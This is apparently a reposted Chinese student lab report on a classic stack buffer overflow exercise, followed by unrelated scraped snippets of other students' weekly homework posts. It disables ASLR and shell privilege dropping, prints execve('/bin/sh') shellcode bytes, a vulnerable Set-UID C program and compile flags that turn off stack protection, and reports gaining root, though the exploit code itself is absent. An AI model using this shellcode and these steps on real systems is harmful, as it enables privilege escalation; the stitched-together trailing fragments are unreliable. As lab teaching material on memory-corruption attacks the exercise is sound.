《网络攻防》第十周作业

缓冲区溢出

实验简介

 缓冲区溢出是指程序试图向缓冲区写入超出预分配固定长度数据的情况。这一漏洞可以被恶意用户利用来改变程序的流控制,甚至执行代码的任意片段。这一漏洞的出现是由于数据缓冲器和返回地址的暂时关闭,溢出会引起返回地址被重写。

实验准备

系统用户名shiyanlou

实验楼提供的是64位Ubuntu linux,而本次实验为了方便观察汇编语句,我们需要在32位环境下作操作,因此实验之前需要做一些准备。

输入命令安装一些用于编译32位C程序的东西:

sudo apt-get update

sudo apt-get install lib32z1 libc6-dev-i386

sudo apt-get install lib32readline-gplv2-dev

初始设置

1.输入命令“linux32”进入32位linux环境,输入“/bin/bash”使用bash用来补全tab键。

2.使用命令sudo sysctl -w kernel.randomize_va_space=0关闭地址空间随机化功能。

3.为了进一步防范缓冲区溢出攻击及其它利用shell程序的攻击,许多shell程序在被调用时自动放弃它们的特权(能欺骗一个Set-UID程序调用一个shell,也不能在这个shell中保持root权限)。这个防护措施在/bin/bash中实现。使用以下指令将另一个shell程序(zsh)代替/bin/bash,从而重现这一防护措施被实现之前的情形。

sudo su
cd /bin
rm sh
ln -s zsh sh
exit

Shellcode

一般情况下,缓冲区溢出会造成程序崩溃,在程序中,溢出的数据覆盖了返回地址。而如果覆盖返回地址的数据是另一个地址,那么程序就会跳转到该地址,如果该地址存放的是一段精心设计的代码用于实现其他功能,这段代码就是shellcode。

#include <stdio.h>
int main( ) {
char *name[2];
name[0] = ‘‘/bin/sh’’;
name[1] = NULL;
execve(name[0], name, NULL);
}

本次实验的shellcode,就是以上代码的汇编版本:\x31\xc0\x50\x68"//sh"\x68"/bin"\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80

漏洞程序

漏洞程序读取一个名为“badfile”的文件,并将文件内容装入“buffer”。原始输入最大长度为517字节,但是在bof()中的缓冲区只有12字节长。因为strcpy()不检查边界,将发生缓冲区溢出。

#include <stdlib.h>
#include <stdio.h>
#include <string.h>

int bof(char *str)
{
char buffer[12];

/* The following statement has a buffer overflow problem */
strcpy(buffer, str);
return 1;
}

int main(int argc, char **argv)
{
char str[517];
FILE *badfile;
badfile = fopen("badfile", "r");
fread(str, sizeof(char), 517, badfile);
bof(str);
printf("Returned Properly\n");
return 1;
}

用以下命令编译该程序,并设置SET-UID

sudo su
gcc -m32 -g -z execstack -fno-stack-protector -o stack stack.c(GCC编译器有一种栈保护机制来阻止缓冲区溢出,所以我们在编译代码时需要用 –fno-stack-protector 关闭这种机制。-z execstack 用于允许执行栈)
chmod u+s stack(不输入此条命令最后不能获得root shell)
exit

 

攻击程序
攻击刚才的漏洞程序,并通过攻击获得root权限。把以下代码保存为“exploit.c”文件,保存到 /tmp 目录下。代码如下:

得到shellcode在内存中的地址,输入命令:

攻击结果
先运行攻击程序exploit,再运行漏洞程序stack,观察结果:可见,通过攻击,获得了root权限!

原文地址:https://www.cnblogs.com/weiyier1214/p/9033356.html

时间: 2024-10-04 22:51:08

《网络攻防》第十周作业的相关文章

软件工程_东师站_第十周作业

一.PSP Data Type Job start Int End Total 20160510 助教 团队作业二 20:00 5 21:00 55 20160511 助教 团队作业二.三 18:45 16 20:45 104 20160512 耐撕 站立会议 18:15   18:35 20 二.进度条   代码行数 博客字数 知识点 第一周 400 430 见我博客软件工程——师大站1 第二周 0 5200 见我博客软件工程_东师站_课堂笔记 第三周 0 63 站立会议.单元测试 第四周 1

第十周作业补做

20165326第十周课上测试补做 知识点简介 课上代码 1 2 ch15代码分析 ch15课后习题 (1)使用堆栈结构输出an的若干项,其中a_n=2a_n-1+2a_n=2a_(n-1)+2a_(n-2),a_1=3,a_2=8 import java.util.*; public class E1 { public static void main(String[] args) { Stack<Integer> stack = new Stack<Integer>(); st

20169217 《Linux内核原理与分析》 第十周作业

实验内容 理解Linux系统中进程调度的时机,可以在内核代码中搜索schedule()函数,看都是哪里调用了schedule(),判断我们课程内容中的总结是否准确: 使用gdb跟踪分析一个schedule()函数 ,验证您对Linux系统进程调度与进程切换过程的理解: 特别关注并仔细分析switch_to中的汇编代码,理解进程上下文的切换机制,以及与中断上下文切换的关系: Linux系统进程调度与进程切换过程 进程调度分为三种类型: 中断处理过程(包括时钟中断.I/O 中断.系统调用和异常)中,

第十周作业

本周作业内容: 系统的INPUT和OUTPUT默认策略为DROP,请完成以下关于iptables的题目: 1.限制本地主机的web服务器在周一不允许访问:新请求的速率不能超过100个每秒:web服务器包含了admin字符串的页面不允许访问:web服务器仅允许响应报文离开本机: 2.在工作时间,即周一到周五的8:30-18:00,开放本机的ftp服务给172.16.0.0网络中的主机访问:数据下载请求的次数每分钟不得超过5个: 3.开放本机的ssh服务给172.16.x.1-172.16.x.10

网络攻防实践 第十周作业

网络攻防实践作业 html,body,div,span,applet,object,iframe,h1,h2,h3,h4,h5,h6,p,blockquote,pre,a,abbr,acronym,address,big,cite,code,del,dfn,em,img,ins,kbd,q,s,samp,small,strike,strong,sub,sup,tt,var,b,u,i,center,dl,dt,dd,ol,ul,li,fieldset,form,label,legend,tabl

2016-11-19第十周作业

系统的INPUT和OUTPUT默认策略为DROP,请完成以下关于iptables的题目: 1.限制本地主机的web服务器在周一不允许访问:新请求的速率不能超过100个每秒:web服务器包含了admin字符串的页面不允许访问:web服务器仅允许响应报文离开本机: iptables -A  INPUT -p tcp --dport 80 -m time ! --weekdays  Mon  -m state --state NEW -m limit --limit 100/s -j ACCEPT i

python第五十四天--第十周作业

SELECT版FTP:使用SELECT或SELECTORS模块实现并发简单版FTP允许多用户并发上传下载文件 必须使用select or selectors模块支持多并发,禁止使用多线程或多进程 REDMAE 用户登陆 1.查看共享目录文件2.上传文件,3.下载方件4.退出 程序结构:socket_server_client/#程序目录|- - -clients/#client程序主目录| |- - -__init__.py| |- - -bin/#启用目录| | |- - - __init__

第十周作业【Linux微职位】

一.建立samba共享,共享目录为/data,要求:(描述完整的过程)1)共享名为shared,工作组为magedu:2)添加组develop,添加用户gentoo,centos和ubuntu,其中gentoo和centos以develop为附加组,ubuntu不属于develop组:密码均为用户名:3)添加samba用户gentoo,centos和ubuntu,密码均为"mageedu":4)此samba共享shared仅允许develop组具有写权限,其他用户只能以只读方式访问:5

第九、十周作业

1.详细描述一次加密通讯的过程,结合图示最佳. A给B发送一份数据:只能B看到,不能被篡改.   A: 1)用单向加密提取数据的特征码. 2)用自己的私钥加密这个特征码并放在原有数据的后面. 3)用B的公钥加密,发送给B,于是只有B能解密.   B: 1)首先用自己的私钥解密,能解密,则身份得到验证. 2)用对方公钥解密特征码,得到特征码. 3)用同样的算法,对特征码进行加密,对比特征码是否相同,如果相同,则内容是完整的. 2.描述创建私有CA的过程,以及为客户端发来的证书请求进行办法证书. 3

20179203 《Linux内核原理与分析》第十周作业

第17章 设备与模块 一.设备类型 1. Linux及Unix系统: 块设备 字符设备 网络设备 2.块设备: 通常缩写为blkdev,它是可寻址的,寻址以块为单位,块大小随设备不同而不同:块设备通常支持重定位操作,也就是对数据的随机访问. 块设备是通过称为"块设备节点"的特殊文件来访问的,井且通常被挂载为文件系统. 3.字符设备: 通常缩写为cdev,它是不可寻址的,仅提供数据的流式访问,就是一个个字符,或者一个个字节. 字符设备的例子有键盘.鼠标.打印机,还有大部分伪设备.字符设备